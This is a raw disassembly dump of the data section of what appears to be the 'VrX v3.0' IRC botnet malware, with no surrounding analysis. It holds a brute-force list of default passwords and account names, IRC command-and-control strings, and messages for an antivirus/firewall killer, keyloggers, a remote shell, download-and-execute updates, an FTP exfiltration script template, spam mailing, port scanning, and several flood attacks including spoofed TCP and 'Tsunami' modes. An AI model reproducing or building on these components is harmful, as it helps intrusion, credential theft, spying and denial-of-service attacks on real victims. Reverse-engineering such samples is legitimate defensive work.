a1234 db '1234',0 ; DATA XREF: ___:004292E8o
align 4
a123 db '123',0 ; DATA XREF: ___:004292E4o
a12 db '12',0 ; DATA XREF: ___:004292E0o
align 10h
a1: ; DATA XREF: ___:0040AFBAo
; ___:004292DCo
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: ___:004292D8o
aPwd db 'pwd',0 ; DATA XREF: ___:004292D4o
aPass db 'pass',0 ; DATA XREF: ___:004292D0o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292CCo
align 10h
aPasswd db 'passwd',0 ; DATA XREF: ___:004292C8o
align 4
aPassword db 'password',0 ; DATA XREF: ___:004292C4o
align 4
aPassword1 db 'password1',0 ; DATA XREF: ___:004292C0o
align 10h
aAdm db 'adm',0 ; DATA XREF: ___:004292BCo
aDb2 db 'db2',0 ; DATA XREF: ___:00429464o
aOracle db 'oracle',0 ; DATA XREF: ___:0042947Co
align 10h
aDba db 'dba',0
aDatabase db 'database',0 ; DATA XREF: ___:00429444o
align 10h
aDefault db 'default',0 ; DATA XREF: ___:00429334o
aGuest_0 db 'guest',0 ; DATA XREF: ___:0042931Co
align 10h
aWwwadmin db 'wwwadmin',0
align 4
aTeacher db 'teacher',0 ; DATA XREF: ___:004294C4o
aStudent db 'student',0 ; DATA XREF: ___:004294C0o
aOwner db 'owner',0
align 4
aComputer db 'computer',0
align 10h
aRoot db 'root',0 ; DATA XREF: ___:00429340o
align 4
aStaff db 'staff',0 ; DATA XREF: ___:004294C8o
align 10h
aAdmin db 'admin',0 ; DATA XREF: ___:004292B8o
align 4
aAdmins db 'admins',0 ; DATA XREF: ___:004292B4o
align 10h
aAdministrat db 'administrat',0 ; DATA XREF: ___:004292B0o
aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292ACo
align 4
aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A8o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A4o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o
dword_4299D8 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401686o
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
dword_429A0C dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040163Bo
aServerRunningO db '- Server running on Port: 113.',0
align 4
unk_429A38 db 2Dh ; - ; DATA XREF: ___:0040160Eo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
unk_429A78 db 2Dh ; - ; DATA XREF: ___:004015BDo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
dword_429A9C dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: ___:00401582o
dd 2E646574h, 0
dword_429AB8 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014ADo
dword_429AC4 dd 255C7325h, 73h ; DATA XREF: ___:004013A7o
dword_429ACC dd 73257325h, 0 ; DATA XREF: ___:0040132Bo
; sub_410080+EAo ...
unk_429AD4 db 3 ; DATA XREF: sub_4017E7+F2o
a81VrxConnected db '8,1-VrX- Connected to %s.',0
align 10h
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40194F+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40194F+35o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7D27o
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7D12o
align 4
unk_429B38 db 3 ; DATA XREF: sub_401AC7+7CFEo
a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0
align 4
unk_429B58 db 3 ; DATA XREF: sub_401AC7+7CE1o
a81VrxPasswordA db '8,1-VrX- Password accepted.',0
align 4
unk_429B78 db 3 ; DATA XREF: sub_401AC7+7C71o
a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401AC7+7C4Eo
align 4
unk_429BCC db 3 ; DATA XREF: sub_401AC7+7C13o
a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401AC7+7C04o
; sub_401AC7+7C62o
align 4
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401AC7+7BF0o
align 4
asc_429C4C: ; DATA XREF: sub_401AC7+7BC0o
unicode 0, <~>,0
unk_429C50 db 3 ; DATA XREF: sub_401AC7+7B6Fo
a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0
align 4
unk_429C74 db 3 ; DATA XREF: sub_401AC7+7B07o
a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0
align 4
unk_429C9C db 3 ; DATA XREF: sub_401AC7+7AC5o
a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0
unk_429CBC db 3 ; DATA XREF: sub_401AC7+7AA7o
a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
align 10h
unk_429CE0 db 3 ; DATA XREF: sub_401AC7+7A8Eo
a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429D00 db 3 ; DATA XREF: sub_401AC7+7A6Eo
a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D20 db 3 ; DATA XREF: sub_401AC7+7A55o
a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0
align 4
unk_429D38 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_40949Eo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 4
unk_429D64 db 2Dh ; - ; DATA XREF: sub_401AC7+79D0o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_429D88 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409451o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_429DB0 db 2Dh ; - ; DATA XREF: sub_401AC7+7980o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_401AC7+7966o
unk_429DDC db 3 ; DATA XREF: sub_401AC7+7865o
a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
align 10h
unk_429E00 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409317o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429E24 db 2Dh ; - ; DATA XREF: sub_401AC7+7846o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
unk_429E44 db 3 ; DATA XREF: sub_401AC7+781Do
a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_429E68 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_4092C8o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 10h
unk_429E90 db 2Dh ; - ; DATA XREF: sub_401AC7+77D3o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 10h
unk_429EB0 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409260o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 10h
unk_429EE0 db 2Dh ; - ; DATA XREF: sub_401AC7+778Fo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_429F00 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409200o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429F30 db 2Dh ; - ; DATA XREF: sub_401AC7+7732o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
dword_429F54 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401AC7+76F4o
dd 27732527h, 2Eh
unk_429F70 db 2Dh ; - ; DATA XREF: sub_401AC7+767Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_429F94 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401AC7+760Ao
dd 0
unk_429FAC db 2Dh ; - ; DATA XREF: sub_401AC7+75E0o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 4
dword_429FEC dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401AC7+7571o
dd 2Eh
dword_42A004 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401AC7:loc_408F8Do
dd 746E6573h, 2Eh
unk_42A020 db 2Dh ; - ; DATA XREF: sub_401AC7+74BFo
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 10h
dword_42A040 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401AC7+7488o
dd 732520h
unk_42A058 db 2Dh ; - ; DATA XREF: sub_401AC7+747Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
asc_42A084: ; DATA XREF: sub_401AC7+7462o
; sub_410080+FBo ...
dw 0Ah
unicode 0, <>,0
unk_42A088 db 3 ; DATA XREF: sub_401AC7+743Ao
a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0
align 4
unk_42A0A8 db 3 ; DATA XREF: sub_401AC7+7426o
a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0
align 4
aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401AC7:loc_408E7Co
align 10h
aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0
; DATA XREF: sub_401AC7+73ABo
align 10h
aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401AC7+7333o
align 4
aNormal_0 db 'normal',0 ; DATA XREF: sub_401AC7+72E6o
align 4
aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401AC7+725Fo
align 10h
aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401AC7+7232o
; sub_401AC7+72DEo
align 4
aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401AC7+722Do
align 4
unk_42A17C db 3 ; DATA XREF: sub_401AC7+720Co
a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0
align 4
unk_42A194 db 3 ; DATA XREF: sub_401AC7+71D1o
a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0
align 4
unk_42A1C4 db 3 ; DATA XREF: sub_401AC7+71B5o
a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0
align 4
unk_42A1E8 db 3 ; DATA XREF: sub_401AC7+7116o
a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0
align 4
unk_42A204 db 3 ; DATA XREF: sub_401AC7+70D8o
a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0
align 10h
unk_42A220 db 3 ; DATA XREF: sub_401AC7+7082o
a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0
align 4
dword_42A23C dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
; DATA XREF: sub_401AC7+7017o
dword_42A250 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401AC7+6FDDo
; sub_401AC7+7A60o
unk_42A25C db 3 ; DATA XREF: sub_401AC7+6FB1o
a81VrxModeChang db '8,1-VrX- Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+6FA3o
align 4
dword_42A284 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401AC7+6F7Ao
dd 25203A29h, 73h
dword_42A2A0 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401AC7+6F0Fo
dd 203A2973h, 7325h
dword_42A2BC dd 45444F4Dh, 732520h ; DATA XREF: sub_401AC7+6EBAo
dword_42A2C4 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401AC7+6E88o
dd 203A2973h, 7325h
dword_42A2E0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401AC7+6E13o
dword_42A2EC dd 0A0D7325h, 0 ; DATA XREF: sub_401AC7+6DE1o
; sub_401AC7+6E67o ...
dword_42A2F4 dd 54524150h, 732520h ; DATA XREF: sub_401AC7+6DACo
dword_42A2FC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401AC7+6D6Fo
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42A338 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401AC7+6CFEo
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
unk_42A364 db 2Dh ; - ; DATA XREF: sub_401AC7+6CA1o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A3A0 db 2Dh ; - ; DATA XREF: sub_401AC7+6C2Co
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D4 db 3 ; DATA XREF: sub_401AC7+6BC6o
a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0
align 4
unk_42A408 db 3 ; DATA XREF: sub_401AC7+6B89o
a81VrxRepeatS db '8,1-VrX- Repeat: %s',0
align 10h
dword_42A420 dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
; DATA XREF: sub_401AC7:loc_4085B7o
dword_42A434 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401AC7+6AB0o
; sub_401AC7+6B63o ...
dword_42A444 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401AC7:loc_408518o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
dword_42A48C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401AC7+6A47o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_42A4C8 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401AC7+69D8o
aDownloadingUpd db '- Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401AC7+6935o
align 10h
dword_42A500 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401AC7+68D6o
dd 7325203Ah, 0
unk_42A51C db 2Dh ; - ; DATA XREF: sub_401AC7+68CBo
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 10h
unk_42A540 db 2Dh ; - ; DATA XREF: sub_401AC7+6831o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42A57C db 2Dh ; - ; DATA XREF: sub_401AC7+67BBo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
dword_42A5AC dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401AC7:loc_4081BFo
; sub_401AC7:loc_4091C2o
unk_42A5B8 db 2Dh ; - ; DATA XREF: sub_401AC7+66E3o
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_42A5DC db 2Dh ; - ; DATA XREF: sub_401AC7:loc_408188o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 4
unk_42A614 db 2Dh ; - ; DATA XREF: sub_401AC7+66B7o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A64C db 2Dh ; - ; DATA XREF: sub_401AC7+6641o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A678 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401AC7+65CAo
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 4
dword_42A6B4 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401AC7+655Bo
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
unk_42A6E4 db 2Dh ; - ; DATA XREF: sub_401AC7+64E2o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A71C db 2Dh ; - ; DATA XREF: sub_401AC7+646Ao
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A74C db 2Dh ; - ; DATA XREF: sub_401AC7+63E9o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A784 db 2Dh ; - ; DATA XREF: sub_401AC7+6371o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A7B4 db 2Dh ; - ; DATA XREF: sub_401AC7+6301o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A7EC db 2Dh ; - ; DATA XREF: sub_401AC7+6289o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A828 db 2Dh ; - ; DATA XREF: sub_401AC7+6219o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
dword_42A868 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401AC7+61AAo
aDownloadingUrl db '- Downloading URL: %s to: %s.',0
align 4
unk_42A894 db 2Dh ; - ; DATA XREF: sub_401AC7+60DEo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42A8D8 db 2Dh ; - ; DATA XREF: sub_401AC7+606Fo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A914 db 3 ; DATA XREF: sub_401AC7+5F75o
a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401AC7+5EF1o
align 4
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401AC7+5DF7o
align 4
dword_42A96C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401AC7+5D69o
; sub_401AC7+7063o
unk_42A978 db 2Dh ; - ; DATA XREF: sub_401AC7+5D0Ao
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42A9B4 db 2Dh ; - ; DATA XREF: sub_401AC7+5C9Bo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_42AA04 db 3 ; DATA XREF: sub_401AC7+5C04o
; sub_401AC7+5FE4o
a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
align 4
unk_42AA3C db 3 ; DATA XREF: sub_401AC7+5B95o
a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
db 's for %d minutes using %d threads.',0
align 4
unk_42AAA4 db 3 ; DATA XREF: sub_401AC7+5A1Fo
a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0
align 4
unk_42AAD8 db 3 ; DATA XREF: sub_401AC7+59C2o
a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0
align 4
unk_42AB0C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_407364o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42AB3C db 2Dh ; - ; DATA XREF: sub_401AC7+5896o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401AC7+587Fo
aSS_1 db '-s:%s',0 ; DATA XREF: sub_401AC7+5868o
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401AC7+5848o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: sub_401AC7+5824o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401AC7+5813o
align 4
unk_42ABAC db 2Dh ; - ; DATA XREF: sub_401AC7+57BAo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401AC7+5797o
align 4
unk_42ABD4 db 3 ; DATA XREF: sub_401AC7+5761o
a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC10 db 2Dh ; - ; DATA XREF: sub_401AC7+5702o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42AC48 db 2Dh ; - ; DATA XREF: sub_401AC7+5697o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 10h
unk_42AC90 db 2Dh ; - ; DATA XREF: sub_401AC7+55E9o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 4
unk_42ACC4 db 2Dh ; - ; DATA XREF: sub_401AC7+55B5o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42ACF8 db 2Dh ; - ; DATA XREF: sub_401AC7+5591o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 10h
unk_42AD30 db 2Dh ; - ; DATA XREF: sub_401AC7+54EFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401AC7+54D2o
align 4
unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401AC7+54BDo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42ADBC db 2Dh ; - ; DATA XREF: sub_401AC7+544Eo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
unk_42AE04 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_406E6Ao
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_42AE3C db 2Dh ; - ; DATA XREF: sub_401AC7+538Ao
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42AE74 db 2Dh ; - ; DATA XREF: sub_401AC7+5310o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401AC7+5300o
align 10h
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401AC7+52F9o
unk_42AEB8 db 2Dh ; - ; DATA XREF: sub_401AC7+5264o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 4
aRandom_0 db 'random',0 ; DATA XREF: sub_401AC7+5254o
align 4
aAck db 'ack',0 ; DATA XREF: sub_401AC7+523Do
aHcon db 'hcon',0 ; DATA XREF: sub_401AC7+51C9o
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401AC7+51B6o
unk_42AF00 db 2Dh ; - ; DATA XREF: sub_401AC7+5167o
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401AC7+50F3o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401AC7+5008o
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401AC7+4FF1o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401AC7+4FDAo
align 4
aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401AC7+4FB0o
align 4
aVnchost db 'vnchost',0 ; DATA XREF: sub_401AC7+4F93o
aP: ; DATA XREF: sub_401AC7+4F7Co
; ___:00438318o
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401AC7+4F65o
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_401AC7+4F4Eo
align 4
